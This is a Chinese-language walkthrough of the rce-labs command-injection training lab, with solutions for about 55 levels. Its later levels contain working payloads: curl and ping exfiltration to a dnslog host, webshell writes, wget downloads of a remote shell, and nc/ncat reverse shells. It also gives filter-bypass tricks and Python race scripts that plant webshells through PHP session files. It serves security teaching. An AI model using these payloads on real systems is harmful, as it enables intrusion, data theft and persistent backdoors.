rce-labs writeup

发布于: 2026-03-03 17:13

靶场说明

rce-labs 命令注入靶场是一个面向网络安全初学者设计的漏洞学习场景,主要提供了基础命令、shell 特性、常见姿势、常见waf绕过等模块学习内容。项目地址:https://github.com/Apursuit/rce-labs

Docker 部署方式

靶机提供了docker镜像,支持一键部署,依赖docker 和 docker-compose环境,对于没有安装docker环境的学者,可以参考以下命令安装docker。

使用 root 权限执行以下命令安装 Docker 和 Docker Compose,先给 GNU/Linux 更换系统软件源,加快后续下载速度。

bash <(curl -sSL https://linuxmirrors.cn/main.sh)

Docker 安装与换源

bash <(curl -sSL https://linuxmirrors.cn/docker.sh)

Docker(推荐)

docker run -d -p 8080:80 --name rce-labs the0n3/rce-labs:latest

访问 http://localhost:8080。

Docker Compose

git clone https://github.com/Apursuit/rce-labs.git
cd rce-labs/docker
docker compose up -d

访问 http://localhost:8080。

GitHub 访问受限时可替换 clone 地址为 https://hk.gh-proxy.org/https://github.com/Apursuit/rce-labs.git。

离线虚拟机

从 Releases 下载 rce-labs.ova(约 99 MB),导入 VirtualBox 或 VMware 即可使用,无需安装 Docker。开机后屏幕会显示 IP,用浏览器访问该地址即可;若未显示 IP,可尝试更换虚拟机的网卡模式。

写在前面

前面关卡,大多是讲解文件读取命令,让一些新人在面对基础的waf时,能够多一个文件读取的思路,后面关卡会逐渐增加一些绕过的难度,建议大家在做题的时候,先自己想一想,如果实在想不出来,可以参考一下 writeup,或者直接看 writeup 来学习一些新的思路和方法。

题解

less-1 cat

cat 读取文件内容。

cat /flag

less-2 tac

tac 反向读取文件内容。

tac /flag

less-3 head

head 读取文件前 n 行,默认是 10 行,可以通过 -n 参数指定读取的行数。

head -n 20 /flag

less-4 tail

tail 读取文件后 n 行,默认是 10 行,可以通过 -n 参数指定读取的行数。

tail -n 20 /flag

less-5 more

more 读取文件内容,没有固定的默认行数,它的行为取决于终端窗口的大小,默认填满屏幕。在非交互(非 TTY)环境下,more 会把文件内容直接输出到标准输出,可以用来读取文件。

more /flag

less-6 less

less 读取文件内容,默认填满屏幕。在非交互(非 TTY)环境下,less 会把文件内容直接输出到标准输出,可以用来读取文件。

less /flag

less-7 nl

nl 读取文件内容,默认显示行号。

nl /flag

less-8 sort

sort 读取文件内容,默认按照字典序排序。

sort /flag

less-9 uniq

uniq 读取文件内容,默认去重相邻的重复行。

uniq /flag

less-9a fold

fold 可以读取折叠文件内容,将其中超过 80 列的每一行强行折断,然后把结果输出到终端。默认情况下,它不会考虑单词边界,可能会把一个单词或字段从中间切断。

fold /flag

less-9b expand

expand 用于将文本中的制表符(Tab)转换为空格。默认情况下,每个 Tab 会被展开到下一个 8 的倍数列位置(不一定是 1 个空格,取决于前面已有多少字符)。

expand /flag

less-10 dd

dd 按块复制数据,if= 指定输入文件,of= 指定输出目标。把输出指向 /dev/stdout 即可把文件内容打印到终端。

dd if=/flag of=/dev/stdout

less-11 rev

rev 反转文件内容,再次反转可以得到原内容。

rev /flag | rev

less-12 od

od 以八进制、十六进制、十进制等格式输出文件内容,默认以八进制输出。

od -A none -t x1 /flag

less-13 xxd

xxd 以十六进制和 ASCII 格式输出文件内容,默认以十六进制和 ASCII 格式输出。

xxd -p /flag

less-14 hexdump

hexdump 以十六进制和 ASCII 格式输出文件内容,默认以十六进制和 ASCII 格式输出。

hexdump -C /flag

less-15 base32

base32 以 base32 编码输出文件内容,默认以 base32 编码输出。

base32 /flag

less-16 base64

base64 以 base64 编码输出文件内容,默认以 base64 编码输出。

base64 /flag | base64 -d

less-17 strings

strings 以字符串形式输出文件内容,默认以字符串形式输出。

strings /flag

less-18 grep

grep 以正则表达式匹配文件内容,默认以正则表达式匹配文件内容,使用 . 匹配所有内容。

grep . /flag

less-19 file

file 判断文件类型,可以指定文件,会把列表文件逐行当作文件名处理,当某行不是合法/存在的路径时,错误信息会回显该行内容,从而泄漏列表文件本身的内容。

file -f /flag

less-20 date

date 可以指定文件,会把文件的每一行当作日期格式字符串解析,解析失败会报错,报错信息里可能带出文件内容。

echo $(date -f /flag 2>&1)

less-21 diff

diff 以比较文件内容的方式输出文件内容,默认比较两个文件的内容。

diff /flag /etc/passwd

less-22 find

find 命令可以查找文件,默认查找当前目录下的文件,这关找到题目指引的 findme.txt即可。

find / -name findme.txt 2>/dev/null

less-23 cp

cp 复制文件,/dev/stdout 指向当前进程的标准输出,cp 把它当目标文件写入,内容即被打印到终端。

cp /flag /dev/stdout

或者把 /flag 复制到 web目录读取。

cp /flag /var/www/html/flag.txt

less-24 mv

mv 移动或重命名文件,把 /flag 移动到 web目录读取。

mv /flag /var/www/html/flag.txt

less-25 ping

ping 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网。

推荐一个 dnslog 平台 https://eyes.sh/dns/

使用浏览器搜索 dnslog,找到一个可用的dnslog 平台,获取一个域名,然后把命令执行结果拼接到这个域名上,发送网络请求。

如果你找不到读取命令了,你可以尝试执行这个flag文件,大概率可能会报错,把报错信息拼接到域名上发送网络请求,读取到文件内容,注意payload要进行url编码。

ping `php /flag 2>&1`.xxx.eyes.sh

less-26 curl

curl 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网。

curl http://xru706nu.eyes.sh -d "data=$(php /flag 2>&1)"

可以在这个dnslog 平台看到请求。

REQUEST_METHOD: POST
HTTP_HOST: xxxx.eyes.sh
HTTP_X_REAL_IP: x.x.x.x
HTTP_X_FORWARDED_FOR: x.x.x.x
HTTP_X_FORWARDED_PROTO: http
HTTP_CONNECTION: close
CONTENT_LENGTH: 9
HTTP_USER_AGENT: curl/8.17.0
HTTP_ACCEPT: */*
CONTENT_TYPE: application/x-www-form-urlencoded

data=1111

less-27 echo

echo 输出内容重定向到文件,可以达到写入webshell的目的。

echo "<?=phpinfo();?>" > shell.php
echo '<?=system($_GET["cmd"]);?>' > shell.php

less-28 wget

wget 命令可以下载文件,-O 参数可以指定下载后的路径和文件名,默认下载到当前目录,以 URL 末段作为文件名保存到当前目录。利用这个特性可以把远程的 webshell 下载到本地,达到写入 webshell 的目的。

wget https://the0n3.top/shell/1.txt -O shell.php

less-29 nc

nc 命令可以发送网络请求,利用这个特性可以把命令执行结果带出到公网,与远程主机建立连接,反弹shell是最常见的用法。

靶机,其中 x.x.x.x 是攻击机的ip,靶机是 alpine,自带的 nc 命令不支持反弹shell,可以使用 busybox 的 nc 命令,busybox 是 alpine 的基础镜像,自带的,同时靶机安装了bash。

busybox nc x.x.x.x 4444 -e bash

攻击机

nc -lvnp 4444

less-30 ncat

ncat 反弹shell,ncat 是 nmap 的一个组件,功能类似于 nc,但支持更多的功能和协议,ncat 支持反弹shell,可以使用 ncat 的 -e 参数指定要执行的命令。

但是这关过滤了 nc 关键词,ncat 存在误伤,所以题目要求先往后做,学习绕过后在回来,这里使用简单的绕过演示。黑名单用子串匹配 nc,ncat 因包含 nc 被连带拦截;用引号拆开子串后 shell 会拼接还原,从而绕过匹配。

靶机

n''c''at x.x.x.x 4444 -e /bin/bash

攻击机

nc -lvnp 4444

less-31 sed

sed 命令可以对文本进行处理,可以编辑替换文件内容。空脚本不改变模式空间,sed 默认在每行处理完后打印模式空间,等价于输出全文。

sed '' /flag

-i 表示原地修改文件;Ni 表示在第 N 行前插入,$a 表示在最后一行后追加。

sed -i '2i phpinfo();' index.php
sed -i '$a phpinfo();' index.php

less-32 ? 通配符

使用通配符 ? 匹配单个字符。

/bin/ca? /flag

less-33 * 通配符

使用通配符 * 匹配任意数量的字符。

/bin/m*re /flag

less-34 [ ] 通配符

使用通配符 [ ] 匹配指定范围内的字符。

/bin/[c][a][t] /flag

less-34a 变量拼接

通过shell变量拼接构造出目标命令,绕过黑名单过滤。

a=ca;b=t;c=$a$b;$c /flag

less-35 ; 多命令分隔

linux 使用 ; 分隔多个命令,可以在一行执行多个命令。

;cat /flag

less-36 && 命令串联

linux 使用 && 分隔多个命令,前一个命令执行成功后才会执行后一个命令,注意在get请求时,& 是 URL 中的参数分隔符,需要进行 url 编码确保参数正确传递,编码后是 %26,传参 ?cmd=%26%26cat /flag。

&& cat /flag

less-37 || 命令串联

linux 使用 || 分隔多个命令,前一个命令执行失败后才会执行后一个命令,前面是ls命令,后面拼接一个不存在的目录即可。

111|| cat /flag

less-38 反引号命令替换

linux 命令替换语法,使用反引号 ` 或者 $() 来执行命令,并把输出结果替换到命令行中。shell 执行一行命令时,不是把整行直接丢给程序,而是先从左到右把命令里的特殊写法“拆开、替换掉”,拼成最终要执行的命令,再真正执行。命令替换(反引号 ... 或 $())就是在这个“替换”阶段发生的:括号里的命令会先被执行,执行结果被原地替换到命令行里。

`cat /flag` 2>/dev/stdout

less-38a $() 命令替换

linux 命令替换语法,使用 $() 来执行命令,并把输出结果替换到命令行中。shell 执行一行命令时,不是把整行直接丢给程序,而是先从左到右把命令里的特殊写法“拆开、替换掉”,拼成最终要执行的命令,再真正执行。命令替换(反引号 ... 或 $())就是在这个“替换”阶段发生的:括号里的命令会先被执行,执行结果被原地替换到命令行里。

$(cat /flag) 2>/dev/stdout

less-39 # 注释绕过

绕过注释,linux 的注释符号是 #,# 注释只持续到行尾,在输入开头注入换行符 %0a 可让后续命令落到新的一行完成执行。直接使用输入框会多一层 url 编码,请在浏览器地址栏直接访问 http://ip:port/less-39/?cmd=%0acat /flag,避免多层编码。

%0acat /flag

less-40 Tab 空格绕过

绕过空格,使用tab键或者其他空白字符来替代空格,url传入url编码的%09制表符。

cat%09/flag

less-41 $IFS 空格绕过

绕过空格,使用 $IFS 来替代空格,IFS 是 linux 的内部字段分隔符,默认是空格、制表符和换行符。

cat$IFS/flag

less-42 ${IFS} 空格绕过

${IFS} 的作用是明确变量名的边界,让 shell 准确知道变量名到哪里结束。在命令注入绕过空格的场景里,它和 $IFS 效果一样,都是把 IFS 变量的值(默认是空格、制表符、换行符)展开出来当作分隔符使用。当变量名后紧跟变量名字符(如 ${IFS}abc)时,花括号才是必需的;${IFS}/flag 中 / 不是变量名字符,$IFS/flag 同样可用。

cat${IFS}/flag

less-43 {cmd,param} 空格绕过

利用 bash 花括号展开,{cat,/flag} 展开为 cat /flag 两个参数,从而在没有空格的情况下分隔命令与参数。

{cat,/flag}

less-44 单引号绕过

绕过黑名单关键词,使用单引号 ' 来绕过过滤,在命令里面使用单引号把关键词分隔开来,引号在 shell 解析时被去除,单引号内不做展开,ca''t 拼接后即 cat。

ca''t /flag

less-45 双引号绕过

双引号同样可以

ca""t /flag

less-46 ? 黑名单绕过

绕过黑名单关键词,使用 ? 来绕过过滤,? 是 linux 的通配符,匹配任意单个字符,可以用来替代关键词中的某个字符。这里的 < 是输入重定向,把 /flag 作为命令的标准输入,等价于 cat /flag,把文件内容喂给命令的标准输入。

/bin/ca?</flag

less-47 * 黑名单绕过

绕过黑名单关键词,使用 * 来绕过过滤,* 是 linux 的通配符,匹配任意数量的字符,可以用来替代关键词中的多个字符。

/bin/m*re</flag

less-48 \ 转义绕过

绕过黑名单关键词,使用 \ 来绕过过滤,\ 使后一个字符被当作字面字符,shell 在分词和展开前就处理了转义,因此 ca\t 会被还原为 cat。

/bin/ca\t</flag

less-49 $@ 位置参数绕过

绕过黑名单关键词,使用 $@ 来绕过过滤,$@ 在无位置参数时展开为空,ca$@t 拼接为 cat;若存在位置参数则展开为其值,需注意前提。

ca$@t</flag

less-50 PHP Session临时文件执行1

这块需要补充些基础,下面简单讲讲,详细请阅读:https://the0n3.top/posts/php-tmp-file/

PHP 在接收任何 multipart/form-data 请求时,会在脚本执行前由 SAPI 层自动解析请求体,把文件部分写入临时目录upload_tmp_dir(默认 /tmp),并填充好 $_FILES 和 $_POST。这个过程与脚本是否真的处理上传无关——只要请求格式是 multipart,PHP 就会先落盘再交控制权,Web 服务器(Apache/Nginx)只负责转发原始请求体。因此,即使你直接伪造一个 multipart 请求、脚本里完全没有上传逻辑,PHP 依然会在 /tmp 留下临时文件。$_FILES 的上传临时文件在请求结束即删除。

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。

PHP配置文件里默认开启了通过session状态文件记录文件上传进度的功能和自动清理 session 文件中的上传进度记录的功能,并且这个记录文件上传的sessionid和PHP_SESSION_UPLOAD_PROGRESS是我们可控的,sessionid可以让我们控制文件名,PHP_SESSION_UPLOAD_PROGRESS 这个变量的值可以让我们控制部分文件内容(上传进度)。

两个特性结合,我们可以通过伪造 multipart/form-data 请求,控制 sessionid 和 PHP_SESSION_UPLOAD_PROGRESS 的值,来写入一个 session 临时文件,然后通过 POSIX 标准的 . 命令,读取并执行指定路径的临时文件,达到写入一句话木马的目的。

为什么选择 session 临时文件?该文件的文件名可控,文件内容可控,生成方式可控,唯一缺点是默认开启自动清理功能,文件上传结束会自动清理 session 文件中的上传进度记录,存在一个时间窗口,需要我们利用高并发脚本抢夺该时间窗口,执行可控的文件内容。

其中 php 的 session 文件在不同发行版的默认路径可能不同,如果在 php.ini 中没有配置 session.savepath,则默认路径为 /tmp,文件名为 sess + session_id。文件里会记录 PHP_SESSION_UPLOAD_PROGRESS 变量的值,文件内容可控。

import io
import requests
import threading

url = 'http://192.168.6.100:32769/less-50/'
sessionid = 'aaa'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':"""

                # php 执行内容
                # <?php system("echo 'php code<?php highlight_file(__FILE__);eval(\\$_POST[1]);?>' > /var/www/html/less-50/shell.php");?>

                # sh 执行内容
                echo 'sh code<?php highlight_file(__FILE__);eval($_POST[1]);?>' > /var/www/html/less-50/shell.php

                """},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        # 这里 cmd 解释器还可以换为php,如'?cmd=php<>/tmp/sess_'
        session.get(url+'?cmd=sh<>/tmp/sess_'+sessionid) # 使用 <> 绕过空格,通过sh或其他解释器执行临时文件内容
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ;

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(10):
    threading.Thread(target = write,args = (session,)).start()
for i in range(10):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()

less-51 无回显RCE1

直接通过写入 webshell 或者通过 ping/curl/nc 等方式把命令执行结果带出到公网,绕过无回显的限制。

#  写入webshell
echo '<?php highlight_file(__FILE__);eval($_POST[1]);?>' > shell.php
# ping/curl/nc 等方式把命令执行结果带出到公网
curl http://x.x.x.x/ -d "1=`cat /flag`" -X POST

less-52 PHP Session临时文件执行

黑名单几乎禁用了上面所有提到过的命令,可以利用 php 的 session 上传进度信息生成的临时文件,结合 sh 、php 此类解释器,读取并执行指定路径的临时文件,达到写入一句话木马的目的。与上文 less-50 类似,这里主要使用通配符完成。

import io
import requests
import threading

url = 'http://192.168.6.100:32769/less-52/'
sessionid = 'aaa'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':"""

                # php 执行内容
                # <?php system("echo 'php code<?php highlight_file(__FILE__);eval(\\$_POST[1]);?>' > /var/www/html/less-52/shell.php");?>

                # sh 执行内容
                echo 'sh code<?php highlight_file(__FILE__);eval($_POST[1]);?>' > /var/www/html/less-52/shell.php

                """},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        # 这里 cmd 解释器还可以换为php,如'?cmd=php<>/tmp/sess_'
        session.get(url+'?cmd=sh<>/tmp/sess_'+sessionid) # 使用 <> 绕过空格,通过sh或其他解释器执行临时文件内容
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ;

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(10):
    threading.Thread(target = write,args = (session,)).start()
for i in range(10):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()

less-53 无字母数字RCE

同样利用php的session临时文件,禁用字母数字后,使用通配符匹配具体某个文件,利用 POSIX 标准的 . 命令读取并执行指定路径的临时文件,达到写入一句话木马的目的。

import io
import requests
import threading

url = 'http://127.0.0.1:8080/less-53/'
sessionid = '111222333444555666777'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':"""
                # sh 执行内容
                echo 'sh code<?php highlight_file(__FILE__);eval($_POST[1]);?>' > /var/www/html/less-53/shell.php

                """},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        # 这里 cmd 解释器还可以换为php,如'?cmd=php<>/tmp/sess_'
        session.get(url+'?cmd=. /???/????_'+ '?'*21) # 使用 <> 绕过空格,通过sh或其他解释器执行临时文件内容
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ;

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(10):
    threading.Thread(target = write,args = (session,)).start()
for i in range(10):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()